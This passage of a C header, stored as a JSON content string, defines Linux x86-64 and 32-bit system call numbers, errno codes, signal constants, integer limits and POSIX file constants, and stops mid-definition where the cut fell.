    "content": "#define __NR_read 0\n#define __NR_write 1\n#define __NR_open 2\n#define __NR_close 3\n#define __NR_stat 4\n#define __NR_fstat 5\n#define __NR_lstat 6\n#define __NR_poll 7\n#define __NR_lseek 8\n#define __NR_mmap 9\n#define __NR_mprotect 10\n#define __NR_munmap 11\n#define __NR_brk 12\n#define __NR_rt_sigaction 13\n#define __NR_rt_sigprocmask 14\n#define __NR_rt_sigreturn 15\n#define __NR_ioctl 16\n#define __NR_pread 17\n#define __NR_pwrite 18\n#define __NR_readv 19\n#define __NR_writev 20\n#define __NR_access 21\n#define __NR_pipe 22\n#define __NR_select 23\n#define __NR_sched_yield 24\n#define __NR_mremap 25\n#define __NR_msync 26\n#define __NR_mincore 27\n#define __NR_madvise 28\n#define __NR_shmget 29\n#define __NR_shmat 30\n#define __NR_shmctl 31\n#define __NR_dup 32\n#define __NR_dup2 33\n#define __NR_pause 34\n#define __NR_nanosleep 35\n#define __NR_getitimer 36\n#define __NR_alarm 37\n#define __NR_setitimer 38\n#define __NR_getpid 39\n#define __NR_sendfile 40\n#define __NR_socket 41\n#define __NR_connect 42\n#define __NR_accept 43\n#define __NR_sendto 44\n#define __NR_recvfrom 45\n#define __NR_sendmsg 46\n#define __NR_recvmsg 47\n#define __NR_shutdown 48\n#define __NR_bind 49\n#define __NR_listen 50\n#define __NR_getsockname 51\n#define __NR_getpeername 52\n#define __NR_socketpair 53\n#define __NR_setsockopt 54\n#define __NR_getsockopt 55\n#define __NR_clone 56\n#define __NR_fork 57\n#define __NR_vfork 58\n#define __NR_execve 59\n#define __NR_exit 60\n#define __NR_wait4 61\n#define __NR_kill 62\n#define __NR_uname 63\n#define __NR_semget 64\n#define __NR_semop 65\n#define __NR_semctl 66\n#define __NR_shmdt 67\n#define __NR_msgget 68\n#define __NR_msgsnd 69\n#define __NR_msgrcv 70\n#define __NR_msgctl 71\n#define __NR_fcntl 72\n#define __NR_flock 73\n#define __NR_fsync 74\n#define __NR_fdatasync 75\n#define __NR_truncate 76\n#define __NR_ftruncate 77\n#define __NR_getdents 78\n#define __NR_getcwd 79\n#define __NR_chdir 80\n#define __NR_fchdir 81\n#define __NR_rename 82\n#define __NR_mkdir 83\n#define __NR_rmdir 84\n#define __NR_creat 85\n#define __NR_link 86\n#define __NR_unlink 87\n#define __NR_symlink 88\n#define __NR_readlink 89\n#define __NR_chmod 90\n#define __NR_fchmod 91\n#define __NR_chown 92\n#define __NR_fchown 93\n#define __NR_lchown 94\n#define __NR_umask 95\n#define __NR_gettimeofday 96\n#define __NR_getrlimit 97\n#define __NR_getrusage 98\n#define __NR_sysinfo 99\n#define __NR_times 100\n#define __NR_ptrace 101\n#define __NR_getuid 102\n#define __NR_syslog 103\n#define __NR_getgid 104\n#define __NR_setuid 105\n#define __NR_setgid 106\n#define __NR_geteuid 107\n#define __NR_getegid 108\n#define __NR_setpgid 109\n#define __NR_getppid 110\n#define __NR_getpgrp 111\n#define __NR_setsid 112\n#define __NR_setreuid 113\n#define __NR_setregid 114\n#define __NR_getgroups 115\n#define __NR_setgroups 116\n#define __NR_setresuid 117\n#define __NR_getresuid 118\n#define __NR_setresgid 119\n#define __NR_getresgid 120\n#define __NR_getpgid 121\n#define __NR_setfsuid 122\n#define __NR_setfsgid 123\n#define __NR_getsid 124\n#define __NR_capget 125\n#define __NR_capset 126\n#define __NR_rt_sigpending 127\n#define __NR_rt_sigtimedwait 128\n#define __NR_rt_sigqueueinfo 129\n#define __NR_rt_sigsuspend 130\n#define __NR_sigaltstack 131\n#define __NR_utime 132\n#define __NR_mknod 133\n#define __NR_uselib 134\n#define __NR_personality 135\n#define __NR_ustat 136\n#define __NR_statfs 137\n#define __NR_fstatfs 138\n#define __NR_sysfs 139\n#define __NR_getpriority 140\n#define __NR_setpriority 141\n#define __NR_sched_setparam 142\n#define __NR_sched_getparam 143\n#define __NR_sched_setscheduler 144\n#define __NR_sched_getscheduler 145\n#define __NR_sched_get_priority_max 146\n#define __NR_sched_get_priority_min 147\n#define __NR_sched_rr_get_interval 148\n#define __NR_mlock 149\n#define __NR_munlock 150\n#define __NR_mlockall 151\n#define __NR_munlockall 152\n#define __NR_vhangup 153\n#define __NR_modify_ldt 154\n#define __NR_pivot_root 155\n#define __NR__sysctl 156\n#define __NR_prctl 157\n#define __NR_arch_prctl 158\n#define __NR_adjtimex 159\n#define __NR_setrlimit 160\n#define __NR_chroot 161\n#define __NR_sync 162\n#define __NR_acct 163\n#define __NR_settimeofday 164\n#define __NR_mount 165\n#define __NR_umount2 166\n#define __NR_swapon 167\n#define __NR_swapoff 168\n#define __NR_reboot 169\n#define __NR_sethostname 170\n#define __NR_setdomainname 171\n#define __NR_iopl 172\n#define __NR_ioperm 173\n#define __NR_create_module 174\n#define __NR_init_module 175\n#define __NR_delete_module 176\n#define __NR_get_kernel_syms 177\n#define __NR_query_module 178\n#define __NR_quotactl 179\n#define __NR_nfsservctl 180\n#define __NR_getpmsg 181\n#define __NR_putpmsg 182\n#define __NR_afs_syscall 183\n#define __NR_tuxcall 184\n#define __NR_security 185\n#define __NR_gettid 186\n#define __NR_readahead 187\n#define __NR_setxattr 188\n#define __NR_lsetxattr 189\n#define __NR_fsetxattr 190\n#define __NR_getxattr 191\n#define __NR_lgetxattr 192\n#define __NR_fgetxattr 193\n#define __NR_listxattr 194\n#define __NR_llistxattr 195\n#define __NR_flistxattr 196\n#define __NR_removexattr 197\n#define __NR_lremovexattr 198\n#define __NR_fremovexattr 199\n#define __NR_tkill 200\n#define __NR_time 201\n#define __NR_futex 202\n#define __NR_sched_setaffinity 203\n#define __NR_sched_getaffinity 204\n#define __NR_set_thread_area 205\n#define __NR_io_setup 206\n#define __NR_io_destroy 207\n#define __NR_io_getevents 208\n#define __NR_io_submit 209\n#define __NR_io_cancel 210\n#define __NR_get_thread_area 211\n#define __NR_lookup_dcookie 212\n#define __NR_epoll_create 213\n#define __NR_epoll_ctl_old 214\n#define __NR_epoll_wait_old 215\n#define __NR_remap_file_pages 216\n#define __NR_getdents64 217\n#define __NR_set_tid_address 218\n#define __NR_restart_syscall 219\n#define __NR_semtimedop 220\n#define __NR_fadvise64 221\n#define __NR_timer_create 222\n#define __NR_timer_settime 223\n#define __NR_timer_gettime 224\n#define __NR_timer_getoverrun 225\n#define __NR_timer_delete 226\n#define __NR_clock_settime 227\n#define __NR_clock_gettime 228\n#define __NR_clock_getres 229\n#define __NR_clock_nanosleep 230\n#define __NR_exit_group 231\n#define __NR_epoll_wait 232\n#define __NR_epoll_ctl 233\n#define __NR_tgkill 234\n#define __NR_utimes 235\n#define __NR_vserver 236\n#define __NR_vserver 236\n#define __NR_mbind 237\n#define __NR_set_mempolicy 238\n#define __NR_get_mempolicy 239\n#define __NR_mq_open 240\n#define __NR_mq_unlink 241\n#define __NR_mq_timedsend 242\n#define __NR_mq_timedreceive 243\n#define __NR_mq_notify 244\n#define __NR_mq_getsetattr 245\n#define __NR_kexec_load 246\n#define __NR_waitid 247\n#define __NR_add_key 248\n#define __NR_request_key 249\n#define __NR_keyctl 250\n#define __NR_ioprio_set 251\n#define __NR_ioprio_get 252\n#define __NR_inotify_init 253\n#define __NR_inotify_add_watch 254\n#define __NR_inotify_rm_watch 255\n#define __NR_migrate_pages 256\n#define __NR_openat 257\n#define __NR_mkdirat 258\n#define __NR_mknodat 259\n#define __NR_fchownat 260\n#define __NR_futimesat 261\n#define __NR_newfstatat 262\n#define __NR_unlinkat 263\n#define __NR_renameat 264\n#define __NR_linkat 265\n#define __NR_symlinkat 266\n#define __NR_readlinkat 267\n#define __NR_fchmodat 268\n#define __NR_faccessat 269\n#define __NR_pselect6 270\n#define __NR_ppoll 271\n#define __NR_unshare 272\n#define __NR_set_robust_list 273\n#define __NR_get_robust_list 274\n#define __NR_splice 275\n#define __NR_tee 276\n#define __NR_sync_file_range 277\n#define __NR_vmsplice 278\n#define __NR_move_pages 279\n#define __NR_utimensat 280\n#define __NR_epoll_pwait 281\n#define __NR_signalfd 282\n#define __NR_timerfd 283\n#define __NR_eventfd 284\n#define __NR_fallocate 285\n#define __NR_timerfd_settime 286\n#define __NR_timerfd_gettime 287\n#define __NR_accept4 288\n#define __NR_signalfd4 289\n#define __NR_eventfd2 290\n#define __NR_epoll_create1 291\n#define __NR_dup3 292\n#define __NR_pipe2 293\n#define __NR_inotify_init1 294\n#define __NR_preadv 295\n#define __NR_pwritev 296\n#define __NR_rt_tgsigqueueinfo 297\n#define __NR_perf_event_open 298\n#define __NR_recvmmsg 299\n#define __NR_fanotify_init 300\n#define __NR_fanotify_mark 301\n#define __NR_prlimit64 302\n#define __NR_name_to_handle_at 303\n#define __NR_open_by_handle_at 304\n#define __NR_clock_adjtime 305\n#define __NR_syncfs 306\n#define __NR_sendmmsg 307\n#define __NR_setns 308\n#define __NR_getcpu 309\n#define __NR_process_vm_readv 310\n#define __NR_process_vm_writev 311\n#define __NR_kcmp 312\n#define __NR_finit_module 313\n#define __NR_sched_setattr 314\n#define __NR_sched_getattr 315\n#define __NR_renameat2 316\n#define __NR_seccomp 317\n#define __NR_getrandom 318\n#define __NR_memfd_create 319\n#define __NR_kexec_file_load 320\n#define __NR_bpf 321\n#define __NR_execveat 322\n#define __NR_userfaultfd 323\n#define __NR_membarrier 324\n#define __NR_mlock2 325\n#define __NR_copy_file_range 326\n#define __NR_preadv2 327\n#define __NR_pwritev2 328\n#define __NR_pkey_mprotect 329\n#define __NR_pkey_alloc 330\n#define __NR_pkey_free 331\n#define __NR_statx 332\n#define __NR_io_pgetevents 333\n#define __NR_rseq 334\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define SYS32_restart_syscall 0\n#define SYS32_exit 1\n#define SYS32_fork 2\n#define SYS32_read 3\n#define SYS32_write 4\n#define SYS32_open 5\n#define SYS32_close 6\n#define SYS32_waitpid 7\n#define SYS32_creat 8\n#define SYS32_link 9\n#define SYS32_unlink 10\n#define SYS32_execve 11\n#define SYS32_chdir 12\n#define SYS32_time 13\n#define SYS32_mknod 14\n#define SYS32_chmod 15\n#define SYS32_lchown 16\n#define SYS32_break 17\n#define SYS32_oldstat 18\n#define SYS32_lseek 19\n#define SYS32_getpid 20\n#define SYS32_mount 21\n#define SYS32_umount 22\n#define SYS32_setuid 23\n#define SYS32_getuid 24\n#define SYS32_stime 25\n#define SYS32_ptrace 26\n#define SYS32_alarm 27\n#define SYS32_oldfstat 28\n#define SYS32_pause 29\n#define SYS32_utime 30\n#define SYS32_stty 31\n#define SYS32_gtty 32\n#define SYS32_access 33\n#define SYS32_nice 34\n#define SYS32_ftime 35\n#define SYS32_sync 36\n#define SYS32_kill 37\n#define SYS32_rename 38\n#define SYS32_mkdir 39\n#define SYS32_rmdir 40\n#define SYS32_dup 41\n#define SYS32_pipe 42\n#define SYS32_times 43\n#define SYS32_prof 44\n#define SYS32_brk 45\n#define SYS32_setgid 46\n#define SYS32_getgid 47\n#define SYS32_signal 48\n#define SYS32_geteuid 49\n#define SYS32_getegid 50\n#define SYS32_acct 51\n#define SYS32_umount2 52\n#define SYS32_lock 53\n#define SYS32_ioctl 54\n#define SYS32_fcntl 55\n#define SYS32_mpx 56\n#define SYS32_setpgid 57\n#define SYS32_ulimit 58\n#define SYS32_oldolduname 59\n#define SYS32_umask 60\n#define SYS32_chroot 61\n#define SYS32_ustat 62\n#define SYS32_dup2 63\n#define SYS32_getppid 64\n#define SYS32_getpgrp 65\n#define SYS32_setsid 66\n#define SYS32_sigaction 67\n#define SYS32_sgetmask 68\n#define SYS32_ssetmask 69\n#define SYS32_setreuid 70\n#define SYS32_setregid 71\n#define SYS32_sigsuspend 72\n#define SYS32_sigpending 73\n#define SYS32_sethostname 74\n#define SYS32_setrlimit 75\n#define SYS32_getrlimit 76\n#define SYS32_getrusage 77\n#define SYS32_gettimeofday 78\n#define SYS32_settimeofday 79\n#define SYS32_getgroups 80\n#define SYS32_setgroups 81\n#define SYS32_select 82\n#define SYS32_symlink 83\n#define SYS32_oldlstat 84\n#define SYS32_readlink 85\n#define SYS32_uselib 86\n#define SYS32_swapon 87\n#define SYS32_reboot 88\n#define SYS32_readdir 89\n#define SYS32_mmap 90\n#define SYS32_munmap 91\n#define SYS32_truncate 92\n#define SYS32_ftruncate 93\n#define SYS32_fchmod 94\n#define SYS32_fchown 95\n#define SYS32_getpriority 96\n#define SYS32_setpriority 97\n#define SYS32_profil 98\n#define SYS32_statfs 99\n#define SYS32_fstatfs 100\n#define SYS32_ioperm 101\n#define SYS32_socketcall 102\n#define SYS32_syslog 103\n#define SYS32_setitimer 104\n#define SYS32_getitimer 105\n#define SYS32_stat 106\n#define SYS32_lstat 107\n#define SYS32_fstat 108\n#define SYS32_olduname 109\n#define SYS32_iopl 110\n#define SYS32_vhangup 111\n#define SYS32_idle 112\n#define SYS32_vm86old 113\n#define SYS32_wait4 114\n#define SYS32_swapoff 115\n#define SYS32_sysinfo 116\n#define SYS32_ipc 117\n#define SYS32_fsync 118\n#define SYS32_sigreturn 119\n#define SYS32_clone 120\n#define SYS32_setdomainname 121\n#define SYS32_uname 122\n#define SYS32_modify_ldt 123\n#define SYS32_adjtimex 124\n#define SYS32_mprotect 125\n#define SYS32_sigprocmask 126\n#define SYS32_create_module 127\n#define SYS32_init_module 128\n#define SYS32_delete_module 129\n#define SYS32_get_kernel_syms 130\n#define SYS32_quotactl 131\n#define SYS32_getpgid 132\n#define SYS32_fchdir 133\n#define SYS32_bdflush 134\n#define SYS32_sysfs 135\n#define SYS32_personality 136\n#define SYS32_afs_syscall 137\n#define SYS32_setfsuid 138\n#define SYS32_setfsgid 139\n#define SYS32__llseek 140\n#define SYS32_getdents 141\n#define SYS32__newselect 142\n#define SYS32_flock 143\n#define SYS32_msync 144\n#define SYS32_readv 145\n#define SYS32_writev 146\n#define SYS32_getsid 147\n#define SYS32_fdatasync 148\n#define SYS32__sysctl 149\n#define SYS32_mlock 150\n#define SYS32_munlock 151\n#define SYS32_mlockall 152\n#define SYS32_munlockall 153\n#define SYS32_sched_setparam 154\n#define SYS32_sched_getparam 155\n#define SYS32_sched_setscheduler 156\n#define SYS32_sched_getscheduler 157\n#define SYS32_sched_yield 158\n#define SYS32_sched_get_priority_max 159\n#define SYS32_sched_get_priority_min 160\n#define SYS32_sched_rr_get_interval 161\n#define SYS32_nanosleep 162\n#define SYS32_mremap 163\n#define SYS32_setresuid 164\n#define SYS32_getresuid 165\n#define SYS32_vm86 166\n#define SYS32_query_module 167\n#define SYS32_poll 168\n#define SYS32_nfsservctl 169\n#define SYS32_setresgid 170\n#define SYS32_getresgid 171\n#define SYS32_prctl 172\n#define SYS32_rt_sigreturn 173\n#define SYS32_rt_sigaction 174\n#define SYS32_rt_sigprocmask 175\n#define SYS32_rt_sigpending 176\n#define SYS32_rt_sigtimedwait 177\n#define SYS32_rt_sigqueueinfo 178\n#define SYS32_rt_sigsuspend 179\n#define SYS32_pread64 180\n#define SYS32_pwrite64 181\n#define SYS32_chown 182\n#define SYS32_getcwd 183\n#define SYS32_capget 184\n#define SYS32_capset 185\n#define SYS32_sigaltstack 186\n#define SYS32_sendfile 187\n#define SYS32_getpmsg 188\n#define SYS32_putpmsg 189\n#define SYS32_vfork 190\n#define SYS32_ugetrlimit 191\n#define SYS32_mmap2 192\n#define SYS32_truncate64 193\n#define SYS32_ftruncate64 194\n#define SYS32_stat64 195\n#define SYS32_lstat64 196\n#define SYS32_fstat64 197\n#define SYS32_lchown32 198\n#define SYS32_getuid32 199\n#define SYS32_getgid32 200\n#define SYS32_geteuid32 201\n#define SYS32_getegid32 202\n#define SYS32_setreuid32 203\n#define SYS32_setregid32 204\n#define SYS32_getgroups32 205\n#define SYS32_setgroups32 206\n#define SYS32_fchown32 207\n#define SYS32_setresuid32 208\n#define SYS32_getresuid32 209\n#define SYS32_setresgid32 210\n#define SYS32_getresgid32 211\n#define SYS32_chown32 212\n#define SYS32_setuid32 213\n#define SYS32_setgid32 214\n#define SYS32_setfsuid32 215\n#define SYS32_setfsgid32 216\n#define SYS32_pivot_root 217\n#define SYS32_mincore 218\n#define SYS32_madvise 219\n#define SYS32_madvise1 219\n#define SYS32_getdents64 220\n#define SYS32_fcntl64 221\n#define SYS32_gettid 224\n#define SYS32_readahead 225\n#define SYS32_setxattr 226\n#define SYS32_lsetxattr 227\n#define SYS32_fsetxattr 228\n#define SYS32_getxattr 229\n#define SYS32_lgetxattr 230\n#define SYS32_fgetxattr 231\n#define SYS32_listxattr 232\n#define SYS32_llistxattr 233\n#define SYS32_flistxattr 234\n#define SYS32_removexattr 235\n#define SYS32_lremovexattr 236\n#define SYS32_fremovexattr 237\n#define SYS32_tkill 238\n#define SYS32_sendfile64 239\n#define SYS32_futex 240\n#define SYS32_sched_setaffinity 241\n#define SYS32_sched_getaffinity 242\n#define SYS32_set_thread_area 243\n#define SYS32_get_thread_area 244\n#define SYS32_io_setup 245\n#define SYS32_io_destroy 246\n#define SYS32_io_getevents 247\n#define SYS32_io_submit 248\n#define SYS32_io_cancel 249\n#define SYS32_fadvise64 250\n#define SYS32_exit_group 252\n#define SYS32_lookup_dcookie 253\n#define SYS32_epoll_create 254\n#define SYS32_epoll_ctl 255\n#define SYS32_epoll_wait 256\n#define SYS32_remap_file_pages 257\n#define SYS32_set_tid_address 258\n#define SYS32_timer_create 259\n#define SYS32_timer_settime (222+1)\n#define SYS32_timer_gettime (222+2)\n#define SYS32_timer_getoverrun (222+3)\n#define SYS32_timer_delete (222+4)\n#define SYS32_clock_settime (222+5)\n#define SYS32_clock_gettime (222+6)\n#define SYS32_clock_getres (222+7)\n#define SYS32_clock_nanosleep (222+8)\n#define SYS32_statfs64 268\n#define SYS32_fstatfs64 269\n#define SYS32_tgkill 270\n#define SYS32_utimes 271\n#define SYS32_fadvise64_64 272\n#define SYS32_vserver 273\n#define SYS32_mbind 274\n#define SYS32_get_mempolicy 275\n#define SYS32_set_mempolicy 276\n#define SYS32_mq_open 277\n#define SYS32_mq_unlink (240+1)\n#define SYS32_mq_timedsend (240+2)\n#define SYS32_mq_timedreceive (240+3)\n#define SYS32_mq_notify (240+4)\n#define SYS32_mq_getsetattr (240+5)\n#define SYS32_kexec_load 283\n#define SYS32_waitid 284\n#define SYS32_add_key 286\n#define SYS32_request_key 287\n#define SYS32_keyctl 288\n#define SYS32_ioprio_set 289\n#define SYS32_ioprio_get 290\n#define SYS32_inotify_init 291\n#define SYS32_inotify_add_watch 292\n#define SYS32_inotify_rm_watch 293\n#define SYS32_migrate_pages 294\n#define SYS32_openat 295\n#define SYS32_mkdirat 296\n#define SYS32_mknodat 297\n#define SYS32_fchownat 298\n#define SYS32_futimesat 299\n#define SYS32_fstatat64 300\n#define SYS32_unlinkat 301\n#define SYS32_renameat 302\n#define SYS32_linkat 303\n#define SYS32_symlinkat 304\n#define SYS32_readlinkat 305\n#define SYS32_fchmodat 306\n#define SYS32_faccessat 307\n#define SYS32_pselect6 308\n#define SYS32_ppoll 309\n#define SYS32_unshare 310\n#define SYS32_set_robust_list 311\n#define SYS32_get_robust_list 312\n#define SYS32_splice 313\n#define SYS32_sync_file_range 314\n#define SYS32_tee 315\n#define SYS32_vmsplice 316\n#define SYS32_move_pages 317\n#define SYS32_getcpu 318\n#define SYS32_epoll_pwait 319\n#define SYS32_utimensat 320\n#define SYS32_signalfd 321\n#define SYS32_timerfd_create 322\n#define SYS32_eventfd 323\n#define SYS32_fallocate 324\n#define SYS32_timerfd_settime 325\n#define SYS32_timerfd_gettime 326\n#define SYS32_signalfd4 327\n#define SYS32_eventfd2 328\n#define SYS32_epoll_create1 329\n#define SYS32_dup3 330\n#define SYS32_pipe2 331\n#define SYS32_inotify_init1 332\n#define SYS32_preadv 333\n#define SYS32_pwritev 334\n#define SYS32_rt_tgsigqueueinfo 335\n#define SYS32_perf_event_open 336\n#define SYS32_recvmmsg 337\n#define SYS32_fanotify_init 338\n#define SYS32_fanotify_mark 339\n#define SYS32_prlimit64 340\n#define SYS32_name_to_handle_at 341\n#define SYS32_open_by_handle_at 342\n#define SYS32_clock_adjtime 343\n#define SYS32_syncfs 344\n#define SYS32_sendmmsg 345\n#define SYS32_setns 346\n#define SYS32_process_vm_readv 347\n#define SYS32_process_vm_writev 348\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 64\n#define __WORDSIZE_COMPAT32 1\n#define __UNALIGNED_MEMORY_ACCESS_OK 1\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (9223372036854775807))\n#define INTPTR_MAX (9223372036854775807)\n#define UINTPTR_MAX 0xffffffffffffffff\n#define SIZE_MAX 0xffffffffffffffff\n#define PTRDIFF_MIN (-1 - (9223372036854775807))\n#define PTRDIFF_MAX (9223372036854775807)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (9223372036854775807))\n#define INT_FAST16_MAX (9223372036854775807)\n#define UINT_FAST16_MAX 0xffffffffffffffff\n#define INT_FAST32_MIN (-1 - (9223372036854775807))\n#define INT_FAST32_MAX (9223372036854775807)\n#define UINT_FAST32_MAX 0xffffffffffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGBUS 7\n#define SIGUSR1 10\n#define SIGUSR2 12\n#define SIGSTKFLT 16\n#define SIGCHLD 17\n#define SIGCONT 18\n#define SIGSTOP 19\n#define SIGTSTP 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGURG 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGIO 29\n#define SIGPWR 30\n#define SIGSYS 31\n#define SIGCLD 17\n#define SIGPOLL 29\n#define SIGLOST 30\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define 